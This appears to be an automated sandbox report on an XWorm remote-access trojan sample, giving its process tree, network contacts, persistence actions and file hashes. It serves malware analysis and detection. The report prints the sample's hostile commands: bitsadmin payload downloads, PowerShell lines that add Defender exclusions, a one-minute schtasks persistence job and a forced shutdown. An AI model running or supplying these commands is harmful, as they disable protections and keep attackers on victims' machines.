Malware Analysis Report

2024-11-16 13:39

Sample ID 240531-dtwt6sed79
Target Output.exe
SHA256 3c63c4ca4f2fe4c5541ecb267e8c98154dcd1ec3dada24efa8b50ec8d4542824
Tags
xworm execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3c63c4ca4f2fe4c5541ecb267e8c98154dcd1ec3dada24efa8b50ec8d4542824

Threat Level: Known bad

The file Output.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan

Xworm

Detect Xworm Payload

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Drops startup file

Executes dropped EXE

Adds Run key to start application

Looks up external IP address via web service

Unsigned PE

Enumerates physical storage devices

Modifies registry class

Suspicious use of WriteProcessMemory

Modifies data under HKEY_USERS

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Suspicious behavior: AddClipboardFormatListener

Creates scheduled task(s)

Download via BitsAdmin

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-31 03:18

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-31 03:18

Reported

2024-05-31 03:20

Platform

win7-20240220-en

Max time kernel

93s

Max time network

94s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Output.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Downloads MZ/PE file

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KVRT.lnk C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KVRT.lnk C:\Users\Admin\AppData\Roaming\KVRT.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\KVRT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\KVRT.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\KVRT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\KVRT.exe" C:\Users\Admin\AppData\Roaming\KVRT.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\KVRT.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\KVRT.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\shutdown.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\system32\shutdown.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2192 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Users\Admin\AppData\Roaming\KVRT.exe
PID 2192 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Users\Admin\AppData\Roaming\KVRT.exe
PID 2192 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Users\Admin\AppData\Roaming\KVRT.exe
PID 2192 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Windows\SysWOW64\mshta.exe
PID 2192 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Windows\SysWOW64\mshta.exe
PID 2192 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Windows\SysWOW64\mshta.exe
PID 2192 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Windows\SysWOW64\mshta.exe
PID 2708 wrote to memory of 2640 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2708 wrote to memory of 2640 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2708 wrote to memory of 2640 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2708 wrote to memory of 2640 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2344 wrote to memory of 2952 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2952 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2952 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\schtasks.exe
PID 2344 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\schtasks.exe
PID 2344 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\schtasks.exe
PID 2272 wrote to memory of 2724 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe
PID 2272 wrote to memory of 2724 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe
PID 2272 wrote to memory of 2724 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe
PID 2272 wrote to memory of 2784 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe
PID 2272 wrote to memory of 2784 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe
PID 2272 wrote to memory of 2784 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe
PID 2344 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\system32\shutdown.exe
PID 2344 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\system32\shutdown.exe
PID 2344 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\system32\shutdown.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Output.exe

"C:\Users\Admin\AppData\Local\Temp\Output.exe"

C:\Users\Admin\AppData\Roaming\KVRT.exe

"C:\Users\Admin\AppData\Roaming\KVRT.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://devbuilds.s.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\KVRT.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KVRT.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KVRT.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KVRT.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "KVRT" /tr "C:\Users\Admin\AppData\Local\Temp\KVRT.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {4CB9AD00-B271-4685-9B17-9A43F0BFED00} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]

C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Windows\system32\shutdown.exe

shutdown.exe /f /s /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

Country Destination Domain Proto
US 8.8.8.8:53 devbuilds.s.kaspersky-labs.com udp
FR 212.73.221.196:443 devbuilds.s.kaspersky-labs.com tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
N/A 127.0.0.1:40971 tcp
US 8.8.8.8:53 us3.localto.net udp
US 130.51.20.126:40971 us3.localto.net tcp
US 8.8.8.8:53 Name1442-40971.portmap.host udp
DE 193.161.193.99:40971 Name1442-40971.portmap.host tcp

Files

memory/2192-0-0x000007FEF5F63000-0x000007FEF5F64000-memory.dmp

memory/2192-1-0x0000000000F00000-0x0000000000F24000-memory.dmp

C:\Users\Admin\AppData\Roaming\KVRT.exe

MD5 caacc00a3a1be01e99f29abcf5f242c4
SHA1 2605c5337c15fda32deafe27d49baf34ab892561
SHA256 209e122072c202f0e7663407dbfb6c99774360ee736fcaad8a6998adbb06224e
SHA512 3ca0c64f573bb07b2b93ec2bbffe9684bbc6e764f0ab07d716d1d035897aaf0c6d71444e569deb28ef57067717b30f52b20eba5176c657fe0c69746778d852e1

memory/2344-9-0x0000000000E20000-0x0000000000E3E000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 26fde2dde716bf34ccd01dc4e14a1513
SHA1 c0f9355285806e665cd8adb5f505e6dd1a829058
SHA256 3f132ede178bfbe1e0271cf42f9209a9e51ef3be491d5cce9e4c8a82349b67f9
SHA512 70667597d52e1b3d2db35c6d6f4fbb346d523c42f460ee4b1c34e4257ae66bc69e9a1369b0fbe9fe7d580491233ae94cb3507c098f9927cc90daf8d29eb3cd8c

memory/2344-11-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/2952-16-0x000000001B670000-0x000000001B952000-memory.dmp

memory/2952-17-0x0000000001E70000-0x0000000001E78000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4AKPAXVNRLS3K8YT3LWT.temp

MD5 bc1a15d6099150439bc7abe4ebf51091
SHA1 202b59aac99209fdbcf37777adca931a1d88b746
SHA256 28d8447902a66787f5454124377b459d518f3108e88439ea34e6e33c45aabe43
SHA512 9fd3f16bf233ee0eefbc6fc001083e34e2fd08f2012055ac23b6d0b5301313a92b65802f7b25eb7bc800255404ed9a8f2a86ea95b6d94082b6ba0945d8027f2a

memory/2828-24-0x0000000002350000-0x0000000002358000-memory.dmp

memory/2828-23-0x000000001B650000-0x000000001B932000-memory.dmp

memory/2724-42-0x00000000003E0000-0x00000000003FE000-memory.dmp

memory/2344-43-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/2784-46-0x0000000000100000-0x000000000011E000-memory.dmp

memory/2344-47-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-31 03:18

Reported

2024-05-31 03:20

Platform

win10v2004-20240426-en

Max time kernel

95s

Max time network

96s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Output.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Output.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\KVRT.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KVRT.lnk C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KVRT.lnk C:\Users\Admin\AppData\Roaming\KVRT.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\KVRT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\KVRT.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KVRT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\KVRT.exe" C:\Users\Admin\AppData\Roaming\KVRT.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" C:\Windows\system32\LogonUI.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "156" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" C:\Windows\system32\LogonUI.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\Output.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\KVRT.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\KVRT.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SYSTEM32\shutdown.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SYSTEM32\shutdown.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\KVRT.exe N/A
N/A N/A C:\Windows\system32\LogonUI.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1116 wrote to memory of 4156 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Users\Admin\AppData\Roaming\KVRT.exe
PID 1116 wrote to memory of 4156 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Users\Admin\AppData\Roaming\KVRT.exe
PID 1116 wrote to memory of 3296 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Windows\SysWOW64\mshta.exe
PID 1116 wrote to memory of 3296 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Windows\SysWOW64\mshta.exe
PID 1116 wrote to memory of 3296 N/A C:\Users\Admin\AppData\Local\Temp\Output.exe C:\Windows\SysWOW64\mshta.exe
PID 3296 wrote to memory of 1580 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 3296 wrote to memory of 1580 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 3296 wrote to memory of 1580 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4156 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4156 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4156 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4156 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4156 wrote to memory of 5052 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4156 wrote to memory of 5052 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4156 wrote to memory of 4412 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4156 wrote to memory of 4412 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4156 wrote to memory of 4432 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\schtasks.exe
PID 4156 wrote to memory of 4432 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\System32\schtasks.exe
PID 4156 wrote to memory of 940 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\SYSTEM32\shutdown.exe
PID 4156 wrote to memory of 940 N/A C:\Users\Admin\AppData\Roaming\KVRT.exe C:\Windows\SYSTEM32\shutdown.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Output.exe

"C:\Users\Admin\AppData\Local\Temp\Output.exe"

C:\Users\Admin\AppData\Roaming\KVRT.exe

"C:\Users\Admin\AppData\Roaming\KVRT.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://devbuilds.s.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\KVRT.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KVRT.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KVRT.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KVRT.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "KVRT" /tr "C:\Users\Admin\AppData\Local\Temp\KVRT.exe"

C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Users\Admin\AppData\Local\Temp\KVRT.exe

C:\Windows\SYSTEM32\shutdown.exe

shutdown.exe /f /s /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa3959855 /state1:0x41c64e6d

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 devbuilds.s.kaspersky-labs.com udp
FR 212.73.221.196:443 devbuilds.s.kaspersky-labs.com tcp
US 8.8.8.8:53 196.221.73.212.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 us3.localto.net udp
US 130.51.20.126:40971 us3.localto.net tcp
N/A 127.0.0.1:40971 tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
N/A 127.0.0.1:40971 tcp
US 8.8.8.8:53 Name1442-40971.portmap.host udp
DE 193.161.193.99:40971 Name1442-40971.portmap.host tcp
US 8.8.8.8:53 99.193.161.193.in-addr.arpa udp
US 8.8.8.8:53 16.24.18.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 udp
N/A 20.189.173.10:443 tcp
US 8.8.8.8:53 udp

Files

memory/1116-1-0x00007FFCE0913000-0x00007FFCE0915000-memory.dmp

memory/1116-0-0x0000000000960000-0x0000000000984000-memory.dmp

C:\Users\Admin\AppData\Roaming\KVRT.exe

MD5 caacc00a3a1be01e99f29abcf5f242c4
SHA1 2605c5337c15fda32deafe27d49baf34ab892561
SHA256 209e122072c202f0e7663407dbfb6c99774360ee736fcaad8a6998adbb06224e
SHA512 3ca0c64f573bb07b2b93ec2bbffe9684bbc6e764f0ab07d716d1d035897aaf0c6d71444e569deb28ef57067717b30f52b20eba5176c657fe0c69746778d852e1

memory/4156-17-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

memory/4156-15-0x0000000000CA0000-0x0000000000CBE000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 26fde2dde716bf34ccd01dc4e14a1513
SHA1 c0f9355285806e665cd8adb5f505e6dd1a829058
SHA256 3f132ede178bfbe1e0271cf42f9209a9e51ef3be491d5cce9e4c8a82349b67f9
SHA512 70667597d52e1b3d2db35c6d6f4fbb346d523c42f460ee4b1c34e4257ae66bc69e9a1369b0fbe9fe7d580491233ae94cb3507c098f9927cc90daf8d29eb3cd8c

memory/4156-19-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a3afmu1b.ki1.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2308-25-0x000001DB76F90000-0x000001DB76FB2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
